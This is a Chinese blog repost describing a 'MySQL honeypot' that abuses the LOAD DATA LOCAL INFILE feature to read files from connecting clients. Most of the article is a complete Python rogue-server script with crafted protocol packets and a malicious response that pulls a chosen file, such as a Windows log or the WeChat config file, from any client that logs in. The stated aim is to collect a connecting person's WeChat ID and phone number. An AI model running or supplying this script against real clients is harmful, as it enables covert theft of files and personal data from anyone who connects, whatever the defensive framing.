ITPub博客

首页 > 数据库 > 数据库开发技术 > 关于MySQL密码 你不知道的事

关于MySQL密码 你不知道的事

原创 数据库开发技术 作者:逍遥子 时间:2023-12-26 08:00:00 0 删除 编辑

本文我们搭建一个mysql蜜罐。通过密码我们可以获取攻击者的相关信息。

本文仅供学习和研究,坚决反对一切危害网络安全的行为。

实验环境

我们首先创建一个数据库,并且保存能够远程登录。

思路:当攻击者通过暴力破解等操作,登录数据库,我们便可以获得攻击者的相关信息。如微信id 手机号码等信息。

信息验证

微信ID:在微信文件WeChat Files/All Users/config/config.data

使用WireShark抓包,选择对应网卡并指定3306端口

接下来我们尝试利用mysql命令读取本地mysql服务器中的文件。

use dabiaoge;#进入数据库
create table student(id varchar(8));# 创建一个student表
#将/root/22.txt中的文件读取,并写入数据库
load data local infile "D:/1.txt" into table student;

相应的网络请求信息。

以上,我们是在Linux环境中进行的,Windows同理。利用LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload。

因此,可以利用socket模块来模拟一个mysql认证的流程:

参考脚本

# coding=utf-8
import socket
import os

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)

def get_data(filename, client, addr):
    base_path = os.path.abspath('.') + "/log/" + addr[0]
    if not os.path.exists(base_path):
        os.makedirs(base_path)

    evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename)  # 恶意响应包    
    client.sendall(evil_response)
    file_data = client.recv(999999)
    print(file_data)
    with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "wb+") as f:
        f.write(file_data)
        f.close()

while True:
    # 建立客户端连接
    client, addr = server.accept()
    print("连接地址: %s" % str(addr))
    # 返回版本信息
    version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
    client.sendall(version_text)
    try:
        # 客户端请求信息
        client.recv(9999)
    except Exception as e:
        print(e)
    # Response OK
    verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
    client.sendall(verification)
    try:
        # SET NAMES utf8mb4
        client.recv(9999)
    except Exception as e:
        print(e)

    # Response TABULAR
    filename = "C:\\Windows\\PFRO.log"
    #这里为要读取的文件路径
    get_data(filename, client, addr)
    client.close()

当目标进行登录时,我们变能获得对方信息。

注意: 由于环境等问题,在高版本mysql中可能不能复现,需要修改配置文件。

更多精彩文章 欢迎关注我们


原文作者:Kali笔记;如有侵权,请联系管理员删除。

请登录后发表评论 登录
全部评论

注册时间:2021-01-22

  • 博文量
    760
  • 访问量
    444307